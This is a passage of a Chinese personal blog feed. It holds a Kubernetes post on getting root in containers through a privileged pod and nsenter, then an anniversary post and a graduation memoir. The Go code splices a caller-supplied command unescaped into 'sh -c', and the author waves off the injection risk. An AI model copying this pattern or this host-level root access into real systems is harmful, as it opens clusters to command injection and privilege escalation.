style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span>, </span></span><span style="display:flex;"><span> Stderr: p.ErrOut <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span>, </span></span><span style="display:flex;"><span> TTY: t.Raw, </span></span><span style="display:flex;"><span>}, scheme.ParameterCodec) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">return</span> p.Executor.<span style="color:#d2a8ff;font-weight:bold">Execute</span>(<span style="color:#a5d6ff">&#34;POST&#34;</span>, req.<span style="color:#d2a8ff;font-weight:bold">URL</span>(), p.Config, p.In, p.Out, p.ErrOut, t.Raw, sizeQueue) </span></span></code></pre></div><p>我们可以看到这里其实是直接构造 HTTP 请求对着 Kubernetes APIServer 进行请求,Go SDK 里并没有封装。甚至在上方的注释中还留着一则<strong>七年前的“贴心” TODO</strong>,说要考虑将这块抽象成一个 SDK 里的方法。转眼间七年过去了,这坑还是没填。😅 需要注意的是 kubectl 的实现最后是用了它自己的 <code>Execute</code> 方法发送了个 POST 请求,但这里其实是需要流式的去读取命令执行所返回的结果。最后应该使用 <code>Stream()</code>,可以参照我的最终代码:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>req <span style="color:#ff7b72;font-weight:bold">:=</span> e.k8sClient.<span style="color:#d2a8ff;font-weight:bold">RESTClient</span>().<span style="color:#d2a8ff;font-weight:bold">Post</span>(). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Resource</span>(<span style="color:#a5d6ff">&#34;pods&#34;</span>). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Name</span>(pod.Name). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Namespace</span>(pod.Namespace). </span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">SubResource</span>(<span style="color:#a5d6ff">&#34;exec&#34;</span>) </span></span><span style="display:flex;"><span>req.<span style="color:#d2a8ff;font-weight:bold">VersionedParams</span>(<span style="color:#ff7b72;font-weight:bold">&amp;</span>coreV1.PodExecOptions{ </span></span><span style="display:flex;"><span> Stdout: <span style="color:#79c0ff">true</span>, </span></span><span style="display:flex;"><span> Stderr: <span style="color:#79c0ff">true</span>, </span></span><span style="display:flex;"><span> Container: containerName, </span></span><span style="display:flex;"><span> Command: command, </span></span><span style="display:flex;"><span> TTY: <span style="color:#79c0ff">true</span>, </span></span><span style="display:flex;"><span>}, scheme.ParameterCodec) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Send the request.</span> </span></span><span style="display:flex;"><span>respBody, err <span style="color:#ff7b72;font-weight:bold">:=</span> e.k8sClient.<span style="color:#d2a8ff;font-weight:bold">RESTClient</span>().<span style="color:#d2a8ff;font-weight:bold">Post</span>().<span style="color:#d2a8ff;font-weight:bold">AbsPath</span>(req.<span style="color:#d2a8ff;font-weight:bold">URL</span>().Path).<span style="color:#d2a8ff;font-weight:bold">Stream</span>(ctx) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">&#34;post request&#34;</span>) </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span><span style="color:#ff7b72">defer</span> <span style="color:#ff7b72">func</span>() { _ = respBody.<span style="color:#d2a8ff;font-weight:bold">Close</span>() }() </span></span></code></pre></div><p>然后,我又遇到问题了 —— 有些镜像启动的容器咋 kubectl exec 进去的用户不是 root?同时我也无法使用 <code>su</code> 切换用户。拿着低权用户的 shell 有很多操作都做不了,这该咋办呢?</p> <p>我便开始在网上搜索 <code>kubectl exec as root</code>,在看了不少官方的 issue 建议和 Stackoverflow 上的奇技淫巧后,我梳理考究了下这个问题的来龙去脉,写下此文来讲述下这个长达六年还未实现的需求背后的故事。</p> <h2 id="名词辨析">名词辨析</h2> <p>前方预警!在后文中你可能会遇见 <code>containerd</code>、<code>runc</code>、<code>OCI</code>、<code>CRI</code>、<code>Docker</code> 等等这些名词,在正式开始前我们不妨先梳理下这些名词,至少先弄清楚它们之间的关系。</p> <p>这里先放一张图,各位可以简单瞄一眼后继续往下看。</p> <p><img src="https://github.red/images/2022/11/container-family.png" alt=""></p> <h3 id="是造物者之无尽藏也">是造物者之无尽藏也</h3> <p>还记得最开始我在大一上学期的时候接触了 Docker,当时给我印象很深的一句话是:“Docker 这玩意就是新瓶装旧酒。” 所谓容器,只不过是封装了 Linux 系统内核提供的功能去实现资源的隔离。本质还是 Linux Container 的 <code>cgroups</code>、<code>namespaces</code>。</p> <ul> <li><code>cgroups</code>:用于 CPU、内存、磁盘和网络 IO 物理资源的隔离</li> <li><code>namespaces</code>:用于 PID、IPC、Network 等系统资源的隔离 以上这些都是 Linux 内核中提供的功能,我们可以看作“是神赐予的”。 我这里想到了苏轼《赤壁赋》里的这句:“是造物者之无尽藏也,而吾与子之所共适。”😋</li> </ul> <h3 id="runc">runc</h3> <p>Docker 开发并使用了一个名为 <code>runc</code> 的程序,用于调用这些神赐予的功能,来创建一个个容器。<code>runc</code> 的功能十分简单,它本身是一个命令行程序,也就只能用来做创建容器(<code>runc create</code>)、开启容器(<code>runc start</code>)、列出容器(<code>runc list</code>)、删除容器(<code>runc delete</code>)这些基础功能。 <code>runc</code> 背后的原理是使用 C 语言编写的代码调用系统的 <code>namespaces</code> 和 <code>cgroups</code> 来创建容器,然后在 Go 层面使用 CGO 调用 C 语言,封装成了 <a href="https://github.com/opencontainers/runc/tree/main/libcontainer"><code>libcontainer</code></a> 这么一个库。 <code>runc</code> 遵循 OCI(Open Container Initiative)规范中的 Runtime-Spec。这个 OCI 是 Docker 当年牵头制定的,分为 Runtime-Spec 和 Image-Spec,分别制定了运行时和镜像的规范。 <strong>我们将 <code>runc</code> 这种只能启停容器的十分底层的容器运行时叫做低级容器运行时(Low-Level Container Runtime)</strong>。这么称呼是为了和后面提到的 containerd 这种**高级容器运行时(High-Level Container Runtime)**区分开来。</p> <h3 id="containerd">containerd</h3> <p>那 <code>containerd</code> 又是啥呢?<code>containerd</code> 基于 <code>runc</code> 的实现了启停管理容器的能力,同时自身还支持了对容器镜像的管理,就如我们用的 <code>docker pull</code> <code>docker push</code> 推拉镜像,导出镜像等功能。它这里关于镜像的功能也是遵循着上面提到的 OCI Image-Spec 的规范。</p> <p>而跟我们日常打交道的 Docker,准确的说是 Docker Engine,其又是在 containerd 上简单套了层壳,我们的拉取镜像、启停容器,其实最后还是落到了 containerd 身上去执行。像 <code>containerd</code> 这样的高级运行时还有 <code>CRI-O</code>。</p> <h3 id="震惊">震惊!</h3> <p>好的,如果到这里你还没晕的话,那我们可以插个题外话来讲讲前年 Kubernetes 那条被国内公众号疯狂标题党的新闻了: 前年 Kubernetes 官方宣布将在未来发布的版本中弃用 <code>dockershim</code>,直接在源码中删掉 <code>dockershim</code> 的部分。官方的解释可以看<a href="https://kubernetes.io/zh-cn/blog/2020/12/02/dockershim-faq/">这篇文章</a>。</p> <p>这事传到国内公众号就变成:“Kubernetes 宣布不再支持 Docker 运行时” 这种标题党文章。我们上面聊到了 Docker Engine -&gt; containerd -&gt; runc 这层关系,而 <code>dockershim</code> 则是用于处理 Kubernetes -&gt; Docker Engine 这层关系的。</p> <p>由于当年 Docker 刚出来一家独大,野蛮生长的过程中做了很多不是那么规范的事情,Kubernetes 之后才制定了<strong>容器运行时接口 CRI(Container Runtime Interface)</strong> 规范(注意跟上面那个 OCI 是两个东西)来约束容器运行时的行为。但 Docker 这东西毕竟先出来并不遵守 CRI,它出来混的时候还没你 CRI 甚至 Kubernetes 什么事呢! 后面 Kubernetes 想遵守 CRI 规范整合接入各种运行时的时候,就不得不为 Docker Engine 当年的所作所为“买单”,也就是写了 <code>dockershim</code> 这么个东西作为中间层让 Docker Engine 遵循 CRI 规范进行接入。<code>dockershim</code> 这坨“屎山”越来越繁重,后面 Kubernetes 直接开摆不想干了,直接把 Docker Engine 去掉吧,我们直接拥抱遵守 CRI 规范的 <code>containerd</code>!</p> <p>整个关系也就从:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-txt" data-lang="txt"><span style="display:flex;"><span>Kubernetes -&gt; Docker Engine -&gt; containerd -&gt; runc </span></span></code></pre></div><p>变成了</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-txt" data-lang="txt"><span style="display:flex;"><span>Kubernetes -&gt; containerd -&gt; runc </span></span></code></pre></div><p>确实也没什么问题,你 Docker Engine 不也是 <code>containerd</code> 套壳嘛,这也就是为什么我们现在 <code>docker build</code> 的镜像仍可以在 Kubernetes 正常使用的原因,因为这些都是遵守 <code>OCI Image-Spec</code> 的。唯一的不同只不过是你切到集群节点上,用 <code>docker ps</code> 看不到容器了,而是要用 <code>containerd</code> 的 CLI 命令 <code>ctr --namespace k8s.io containers ls</code> 去查看容器。</p> <h2 id="问题出在谁身上呢">问题出在谁身上呢?</h2> <p>理清了上面这些概念后,我们就可以来调查究竟是谁的问题了。还记得我们的问题是什么吗?<code>kubectl exec</code> 怎么不支持指定用户(比如 root)执行命令? 首先,看最终的低层容器运行时 <code>runc</code> 的源码:<a href="https://github.com/opencontainers/runc/blob/main/exec.go#L48-L51">opencontainers/runc exec.go#L48-L51</a>,命令行参数里居然是支持指定 UID 和 GID 的!该参数后面会被传入到 <code>libcontainer</code>,在 cgroups 中 <a href="https://github.com/opencontainers/runc/blob/main/libcontainer/specconv/spec_linux.go#L456-L462">opencontainers/runc libcontainer/specconv/spec_linux.go#L456-L462</a> 最后使用 <code>os.Chown</code> 赋予指定用户操作的权限。</p> <p>那再往上追到 <code>containerd</code>,找到 <code>containerd</code> 中 <code>ctr task exec</code> 的源码部分,发现使用了 OCI 规范中定义的结构体 <a href="https://github.com/opencontainers/runtime-spec/blob/main/specs-go/config.go#L43"><code>Process</code></a>,该结构体定义了在容器中启动进程需要的信息,其中就有 <code>User</code> 字段用于指定用户!</p> <p>那&hellip;&hellip; 既然 OCI 规范里都支持了,再往上追就只有一个了:Kubernetes 定义的 CRI 规范。在 <a href="https://github.com/kubernetes/cri-api/blob/c75ef5b/pkg/apis/runtime/v1/api.proto#L1158-L1177">kubernetes/cri-api</a> 中我们找到了 CRI 规范的 Protobuf 定义文件,其中的 <code>ExecRequest</code> 确实不支持指定用户&hellip;&hellip; 同时我还发现有个老哥试图提 PR <a href="https://github.com/kubernetes/kubernetes/pull/59092">#59092</a> 让 CRI 规范支持这个功能,他也是在 Proto 文件里加了这么一个字段。在下面的评论中我们也发现这居然是 Kubernetes TOP3 的期望功能。可惜这个 PR 后面不明不白地就被关了。</p> <p>在 <code>containerd</code> 中我也看到了有人提出了这个问题 <a href="https://github.com/containerd/containerd/issues/6662">#6662</a>,<code>containerd</code> 的人也表示很无奈,想让 <code>kubectl exec</code> 支持指定用户,那就只能让上层改 CRI 规范,然后它们下层做适配,但是这事现在一直被搁置着,也没个人来推。</p> <p>一直&hellip;&hellip; 搁置了六年。</p> <h2 id="代码还是得写的该如何解决呢">代码还是得写的,该如何解决呢?</h2> <p>日子总是要过的,代码还是得写的,真的就没有办法了吗? 其实不然,在 issue <a href="https://github.com/kubernetes/kubernetes/issues/30656">#30656</a> 里有人提出了一种很蠢的办法: 安装一个 <code>kubectl</code> 插件,使用 <code>kubectl ssh</code> 连上对应的节点宿主机,然后找到容器直接执行命令。这真的真的是太蠢了。</p> <p>我在这个 issue 下找到了这么一个项目 <a href="https://github.com/ssup2/kpexec">ssup2/kpexec</a>,借鉴其中用到的方法相对优雅的解决了这个问题!这里放一下 kpexec 项目的架构图用于方便说明:</p> <p><img src="https://github.red/images/2022/11/kpexec_Operation.png" alt=""></p> <p>我的做法其实比它更简单。我们上面提到了,容器系统资源隔离本质上还是使用了内核中的 <code>namespaces</code>,所有的虚拟化都是在操作系统层面完成的。 而系统中有 <code>nsenter</code> 这个命令,可以帮助我们进入到对应容器的 <code>namespace</code> 命名空间中,在该命名空间中执行命令,默认的用户权限就是 root! 假如我们要在部署于 A 节点的 Pod 的容器 B 下以 root 权限执行命令,步骤如下:</p> <ol> <li>在 A 节点下创建一个特权容器,即获得了宿主机节点的操作权限。使用 nsenter 进入 PID = 1 的命名空间执行命令,也就相当于直接在宿主机上执行命令。</li> <li>在宿主机上调用 crictl inspect 命令查看容器 B 的 PID。</li> <li>再次在宿主机上使用 nsenter 进入容器 B 的命名空间,以 root 用户执行命令。</li> </ol> <p>我的最终代码如下:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Get the container CRI information by execute the `crictl` command in node, then execute as root with `nsenter`.</span> </span></span><span style="display:flex;"><span> execCommand <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">string</span>{ </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;sh&#34;</span>, <span style="color:#a5d6ff">&#34;-c&#34;</span>, </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;nsenter -t 1 -m -u -n -i crictl inspect &#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> hostContainerName <span style="color:#ff7b72;font-weight:bold">+</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34; | jq -r .info.pid | xargs -I {} nsenter -t {} -m -u -n -i sh -c &#39;&#34;</span> <span style="color:#ff7b72;font-weight:bold">+</span> strings.<span style="color:#d2a8ff;font-weight:bold">Join</span>(command, <span style="color:#a5d6ff">&#34; &#34;</span>) <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">&#34;&#39; || true&#34;</span>, </span></span><span style="display:flex;"><span> } </span></span></code></pre></div><p>满足 CRI 规范的高级运行时均可以使用 <code>crictl</code> 来进行操作。这样我们就不用再傻傻去判断 Docker Engine、containerd、CRI-O 然后再傻傻调各自的 CLI 了。这里使用 <code>crictl inspect</code> 加容器名称查看容器信息,使用 <code>jq</code> 提取出返回 JSON 中记录的容器 PID。最后特权容器进入该进程 PID 所在的 namespace 执行命令。最后还加个 <code>|| true</code> 来确保最后执行的命令一定是正常退出的。 (不要在这里跟我 ky 什么命令注入漏洞啥的,<code>command</code> 是从可信的来源传入的,前面已经做了权限检查)</p> <p>至于一些细节,比如用 NodeSelector 去将特权容器部署到与执行命令相同的 Node 上,怎么获取 <code>pod.Status.ContainerStatuses</code> 中的 <code>HostContainerName</code> 这些,就不再赘述了。大家自己动手写写就都知道了。</p> <h2 id="最后说几句">最后说几句</h2> <p>可能本文前面的篇幅有点长了,最后的 <code>nsenter</code> 反而没有过多着墨。不过确实梳理过这些名词后,我对于以 Docker 为起点的容器这套东西的理解更加透彻了些。 今天也抽时间看了些 Kubernetes 攻防相关的资料,感觉容器逃逸像 runc CVE-2019-5736 这个洞,本质上还是相关的运行时软件在操作不可信的容器环境时,行为上过于“侵入”或者“依赖”容器内的不可信环境从而出了问题。runc 这个是把自己传到了危险重重的容器里,以前的 CVE-2019-14271 <code>docker cp</code> 容器逃逸,是因为使用了容器内的 so 库。容器内的进程本质上只是一个受限的普通 Linux 进程,其对宿主机是完全透明的,我感觉这也使得它与宿主机的界限变得模糊,有种很容易就能被突破的感觉。</p> <p>大概是一年前,我对 Kubernetes 还是持有一种较为厌恶的情绪的,啥也不懂的我也学着大家当乐子人玩 YAML 工程师的梗。今年三月的 D^3CTF,我用 Kubernetes Go SDK 写了个动态开启靶机的程序。在那之后我对它的印象有了很大的改观。不愧是生产级别的容器调度程序,我想删掉一个 Pod,它就是能给我删掉,不像 Docker 有时候 <code>--force</code> 强制了但是 Docker Engine 会迷之卡顿然后没删掉。Kubernetes 能给我带来一种安心的感觉。</p> <p>推荐阅读:</p> <ul> <li><a href="https://mp.weixin.qq.com/s/sfOXxBoppV6QZSpblMsMJQ">Docker、Containerd、RunC分别是什么</a>:名词辨析比我上面写的更加详细。</li> <li><a href="https://fankangbest.github.io/2017/11/24/containerd-containerd-shim%E5%92%8Crunc%E7%9A%84%E4%BE%9D%E5%AD%98%E5%85%B3%E7%B3%BB/">containerd-containerd-shim和runc的依存关系</a>:从源码层面分析了三者的依存关系,很有意思。</li> <li><a href="https://github.com/neargle/my-re0-k8s-security">从零开始的Kubernetes攻防</a>:除了容器,基于容器的 Serverless 服务也是我很感兴趣的一个方向,我从这里学到很多有趣的攻击方法。</li> </ul>这下云原生了 · Light Cube 七周年https://github.red/lightcube-7th/Tue, 04 Oct 2022 15:43:06 +0800https://github.red/lightcube-7th/<blockquote> <p>文章头图来自 @tototo <a href="https://www.pixiv.net/artworks/100132847" title="PixivID 100132847">PixivID: 100132847</a></p></blockquote> <p>又是一年国庆假期,这个小站也走到了第七年。 每年国庆假期写这篇文章的时候,我都会畅想下明年的这个时候,自己会以什么样的身份,在什么样的地方,写下对这个小站过去一年的总结。但去年大四的我对一年后的自己会身在何处一无所知。也许是因为当时面临着太多的选择,太多突然发生的事情让我十分迷茫。</p> <p>而当过去的一切尘埃落定后,我想回应当时的自己:你在大学顺利毕业后离开了学校,在离学校挺远的地方租了间还算舒适的公寓,工作日往返于 15 分钟通勤时间的两点一线,周末在家看番、补觉或者写点小项目。精疲力尽的你开始去刻意地拖延或者回避一些需要额外投入精力的事情,你知道这并不是一件好事,但是你确实时常感到非常累。每个周五的夜晚是你最快乐的时候,有时你在下班的路上会开心地跳起来,有时心情不好会去公司附近的酒吧喝上几杯。而每个工作日的深夜是你最能全身心投入的时候,你会把自己关在房间里,大声外放着音乐加班写着方案与代码。</p> <p>比较可惜的是,在过去的一年里,你只写了四篇文章。而两年前的你,一个月至少一篇。我知道你心里其实还没有放弃,你挣扎着想去研究一些新奇独特的“好活”,再将你的“发明创造”以及感悟心得浓缩成一篇文章 —— 正如你一直以来的那样。但是你发现好像很难找到能让自己提得起兴趣的东西了,亦或是说你的表现欲没有以前那么强烈了,又或是说你不太能坚持完整地做完一件事情了。</p> <p>额&hellip;&hellip; 好像话题开始转向对自己沉重的自责了,就此打住。还是来看看过去的一年里这个站发生的变化吧。</p> <h2 id="这下云原生了">这下云原生了</h2> <p>由于今年我从学校毕业了,之后也就无法再享受学生价购买阿里云的 ECS 服务器,原有的学生机将于今年 10 月到期。这台 ECS 学生机上跑着的正是这个博客站点,因此不可避免的需要进行迁移。在这之后的几个月到一年的时间内,我腾讯云、华为云等账号上的学生机也将到期无法按学生价续费,上面的服务都需要进行迁移。 而比较尴尬的是,这些机器在我当初购买后,就十分奢侈的只在上面跑了一到两个 Web 服务,每台机器大约 80% 的资源是被白白浪费掉了的。因此,在咨询了一些朋友的意见之后,我选择在阿里云上 ACK 开个 Kubernetes 集群,将博客以及学生机上的其它服务都迁移至集群中。集群的节点使用阿里云的竞价实例,成本不会比之前开好几台学生机高太多。且目前集群里只有一台 2C8G 的竞价实例节点,它上面承载了我之前所有需要用到的服务!</p> <h2 id="解锁一个又一个船舵新技能">解锁一个又一个船舵🕸新技能</h2> <p>因为是自己第一次配置集群,因此也踩了不少坑。 之前自己完全没有去学过 Kubernetes 相关的内容,一开始是去年年末公司内部开始向云原生迁移,因此我在电脑上装了个号称 Kubernetes IDE 的 Lens,用来执行删除 Pod 触发更新,看看 Pod 的日志这些简单操作。在看到我删除的 Pod 居然又会自动新建一个启起来觉得十分神奇,这才了解到背后有个叫 Deployment 的东西定义了它。 公司当时使用的是 AWS EKS 的集群服务,我偶然间在控制面板看到了一个需要 CNAME 指向的域名,这才明白我们是如何通过自己的域名访问到集群内的服务,同时也接触到了 Service 和 Ingress。 后面自己写得一些服务需要部署到集群上,我也开始学着改运维写好的 ArgoCD YAML 文件,比如加个环境变量,修改下 Replica 设置副本数量。 再后面我看运维能精准的将 Pod 部署到我指定配置或者架构的机器上,以及在 Lens 里看到关于 Pod 调度失败的报错,我也就大概能从字面含义上领悟到 Annotations、Labels、Conditions、Tolerations 这些东西的作用。 今年年初协会办 D^3CTF 时,需要一个在集群内动态开启靶机的服务,当时我一晚上撸了个 <a href="https://github.com/wuhan005/oblivion" title="oblivion">oblivion</a> 。它的原理也只是简单地调用 Kubernetes API,我也是从那之后了解到了 Service Account。 再往后我想让 Cardinal Pro 比赛平台支持 Kubernetes 开启题目靶机,因此去粗略翻阅了 <a href="https://github.com/google/kctf" title="Google kCTF">Google kCTF</a> 项目的源码,惊讶地发现他们怎么将 CTF 比赛中的赛题(Challenge)作为了集群中的一种资源,YAML 里居然可以写 <code>kind: Challenge</code>!这才知道原来 Kubernetes 可以自定义资源。 在搭建的自己的集群时,我为了能节省机器磁盘费用,开了阿里云的 NAS,挂载到集群里的时候,了解到了 StorageClass。 在自己的集群中搭建 WordPress 与 uptime-kuma 时,开始学着偏向使用 Helm 去部署这些服务。而 uptime-kuma 的第三方 Chart 包文档写的很简略,不得已之下我只能去翻看这个包 templates 下的 YAML 模板文件,一看才发现这不就是 Go 原生的那个反人类模板语言嘛,我可太熟悉了。直接通过看模板找到了我要的配置项该怎么写。</p> <p>可以说,我对于 Kubernetes 的认知全都来自于自己实践中见过的情况。我目前也仅仅只满足于现在入门的能用就好。我并没有比较深入的去了解 Kubernetes 中一些有趣的细节,所以也没有单独写一篇文章来记录我集群迁移的过程。可能未来的某天我读到一本讲 Kubernetes 的书,将以上这些先入为主的概念全都串起来,我可能也就豁然开朗了,在那之后可能会洋洋洒洒写个几千字来讨论下。我目前对 Kubernetes 的态度是,这家伙就是个十分偏实战性的“工具”,且它的的确确也就只是个用来做容器编排的工具,如果有人拿着一堆 Kubernetes 的偏门八股来恶心人的话,那我劝他还是趁早死死算了。</p> <h2 id="这下-yaml-工程师了">这下 YAML 工程师了</h2> <p>回到博客这个服务上来,我使用的是 bitnami 的 WordPress Helm Chart。其背后的 WordPress Docker 镜像是直接安装的 PHP 8 的版本。众所周知 PHP 8 废除了以前很多的内置函数,亲测我目前使用的 WordPress 博客主题是无法在 PHP 8 环境下正常运行的。因此我不得二次魔改 bitnami 的 WordPress 基础镜像,将其中安装的 PHP 版本改为 7.4,再将新构建好的镜像推送至我的阿里云容器镜像服务中,并配置 Chart 使用我指定的镜像启动。同时为了保证我自己打包的镜像中 WordPress 的版本始终是最新的,我在 GitHub Actions 上加了个定时构建镜像的任务。 值得一提的是,bitnami WordPress Chart 自带了个开启 Memcached 的选项。那我自然也不客气,直接几行 YAML 就让它把 Memcached 给起好了,WordPress 后台装了个基于 Memcached 的缓存插件,虽说没感觉到加载速度有变多块,但是聊胜于无嘛嘻嘻。</p> <h2 id="最后随便聊点">最后随便聊点</h2> <p>这一年来本站最大的改变应该就是迁移到集群了,除此之外 Google Analytics 统计指标,七牛云 CDN 账单相较去年都保持稳定。友链的话很可惜今年一年都没有增长,不过我的 Twitter 和 GitHub 粉丝倒是涨得挺快的,我有意将我的 Twitter 主页链接修改成 GitHub 个人页的地址而本博客的地址,目的是想筛选出那些真正愿意了解我的人,他们会从 Twitter 找到 GitHub,再链接到博客,最后再到 QQ。很感谢能遇到这些小伙伴们。</p> <p>再说说我自己,最近两三个月其实自己一直有在追「Lycoris Recoil」<span class="heimu" onclick="()=>{}">我超!蒜批!</span>,每周六的晚上会随便写点 Side Project 的代码,等到零点的时候准时上床带耳机看番。有点像回到了初三追刀剑第二季的时候,那时的我也是刷着题到十点半,然后准时打开乐视 App 看番,可能这也是为啥我初三那段时间成绩突飞猛进的原因吧,因为心里有个盼头,所以做起事情来会格外的认真哈哈哈。 但是&hellip;&hellip; 为啥每次我每次 Twitter 点赞关于石蒜的内容就会掉粉啊😅 除了追番以外,我还有在追邓紫棋的新专辑,之前是每周一和周四晚上零点放出一首新歌。而有的时候我到零点还没下班,下班的路上发现新歌发了,便赶紧带上耳机边走边听。不得不说 AirPods Pro 的空间音频真的棒!为了支持解解,我还专门买了张实体专辑。😘</p> <p>嘛,大概就这些了。晚上还得像去年一样继续去改“某个大东西”。😉</p> <p>七周年生日快乐!🎂 明年再见!</p>关于我大学这四年的碎碎念https://github.red/bye-hdu/Sun, 03 Jul 2022 01:47:16 +0800https://github.red/bye-hdu/<blockquote> <p>文中所有提到的人名均使用代称或 ID。不过我想你应该都知道他们是谁。</p></blockquote> <p>去年六月份看到 @Li4n0 毕业时在博客写了篇同名文章,终于,我也到这个时候了。当时我对一年后的自己会身在何处还抱有疑问,而现在我正坐在跟同学合租的公寓房间里,面前是巨大的落地窗,窗外一片漆黑的夜幕。两周前我参加完学校的毕业典礼后,收拾好东西便匆匆忙忙地搬过来了,期间没有什么太多的仪式感,照片也只是三三两两地拍了几张。 但静下来想想才意识到,我已经毕业了。四年前刚到杭电的第一天晚上,我坐在宿舍的书桌前写下了<a href="https://github.red/hello-hdu/" title="《你好,四年。》">《你好,四年。》</a>,字里行间充满了我对这四年的幻想与展望。四年后回过头来看,当时立下的目标,有的落空了,有的结果出乎意外,也有的被忘在脑后不了了之了。</p> <p>我打算写篇文章来记录一下这四年来发生的一些难以忘怀的事情,也记录下自己的感悟。可能内容有些流水账,不过问题不大,反正这篇文章最重要的读者也只是我自己。</p> <h2 id="大一--新奇与随心所欲">大一 · 新奇与随心所欲</h2> <p>其实从 6 岁接受义务教育开始到高考结束为止,我们每个阶段的目标都很明确。读小学就是为了能上好初中,读初中是为了中考,读高中是为了高考&hellip;&hellip; 每进入到一个新的环境,其实我们的长期目标就已经确定好了,身边的人也都是奔着同一个目标去努力。 因此那个时候对与错其实很简单,能让你学会知识的就是好方法,让你疲惫懈怠的就是坏东西。但是上了大学后,这一层约束突然消失了——四年后我可以选择考研,可以选择就业,可以选择考公&hellip;&hellip; 因为最终的目标不明确,所以就想先尝试自己喜欢的事情。 刚读大一的时候,我突然有了相比高中多好几倍的时间,在那段时间里我的进度是飞速的,2018 年 10 月的时候我专门记录了下自己当时学了什么,除了精进高中时学的 PHP 老本外,还接触了 Docker、Android 开发等。当时真的就是积压了好多年的兴趣欲望,一下子喷发出来了。 同时在室友的推荐下加了 Vidar 的招新群,自己也在一次晚自习时得知了杭电助手,两边都报了名。现在想想这真的是个绝佳的选择。 因为花了过多的时间在整自己的这些东西,我开始逃一些不想上的水课,一些不喜欢的课程作业也是到了快交的时候才匆匆忙忙地补上。所以成绩一直不大好,甚至期中考试过后还被班主任约着谈了话。(对!是班主任,不是辅导员!没想到真的有班主任,这也是我第一次以及最后一次见到她)但其实我一直都不怎么放在心上,反倒是两个社团那边混得风生水起,又是写项目又是学 CTF。</p> <p>刚进入大学的学生,其实对于学校,自己所在的学院,或多或少地都有一种崇拜感与归属感。但之后在 Vidar 招新群以及身边同学言论的影响下,逐渐产生了一种“学校真垃圾,学院老师专业课讲得一塌糊涂,教不了你真东西”的看法。这个看法现在看来其实是有些偏激的,网安学院的老师确实大部分水平都不大行,这个是事实。<strong>但这并不代表他所教授的这门课没有用!</strong> 这是我当时不自觉掉入的一个陷阱。讲数据结构的老师可能很垃圾,只会对着 PPT 照本宣科地念,但这不代表数据结构与算法这门课本身在计算机科学中不重要。你可以贬低老师,逃课不听他讲,作业可以不交,但是你得从其他渠道去认真学习这门课程,要不自己看书,要不看额外的网课。<strong>不能因为老师垃圾,就把这门课也放弃了</strong>。</p> <p>整个大一上学期其实就是按班就部地上着课,平时自己看看书,参加下杭电助手的部门例会和 Vidar 的新生培训。自己也会整些花活,国庆放假的时候用以前学到的 Web 知识整了个解谜游戏。偶尔也会拍点视频剪剪片子。寒假坐高铁回家的时候,还自己拍了个 vlog,自己在高铁上把片子剪完的。 大一的体育课是打太极,可四肢不协调的我根本没好好练,期末考试打太极,记成绩的老师直接跟我说准备补考吧,我那时瞬间就慌了,不过好在最后被老师 60 分给捞过了。这学期我也迎来了我第的一次挂科。因为是第一次,所以自己格外紧张。寒假的时候狂看考研的网课狂补线性代数,开学补考居然还考了 80 多顺利通过~ 寒假期间也没闲着,Vidar 的 HGAME 新生赛贯穿了我的整个寒假,这也是我 Web 安全的启蒙了。</p> <p>大一下学期,因为在 HGAME 排名靠前,我成功地加入了 Vidar。那个时候的 CTF 比赛还没如今这么卷,Web 单凭自己一个人还能抢个二血三血,也不像现在这样什么牛鬼蛇神都挑出来,这个师傅那个师傅的膜,出的题也不是无脑套娃的体力活。那个学期参加了 Vidar 的 AWD 比赛,也跟着协会的小伙伴一起去天津线下度假一周打比赛,那场旅行是真的印象深刻。 大一下学期的课程也是我整个大学里最多的了,又多又难,最后也还是可惜挂了科。放暑假前我也是挺惆怅的,想着又得准备补考了 QAQ。传送门:<a href="https://github.red/2019-summer-vacation/" title="暑假开始了啊……">暑假开始了啊……</a></p> <h2 id="大二--光辉与百念皆灰">大二 · 光辉与百念皆灰</h2> <p>大一下学期的暑假其实我过得很安逸自由,在家代码写累了就一个人坐车去深圳湾看海,从深圳湾徒步走到高中的学校,再坐地铁去书城看有无新的技术书籍。 那个暑假我也是用自己三脚猫的 Go 语言水平,硬生生地用 Beego 框架把 Apicon 给写出来部署上线了,还熬夜画了很酷的架构图。传送门:<a href="https://github.red/apicon-infrastructure/" title="Apicon 背后都用到的哪些技术?">Apicon 背后都用到的哪些技术?</a> 现在回过头看那三年前的代码,感叹我这三年来确实成长了不少哈哈哈。 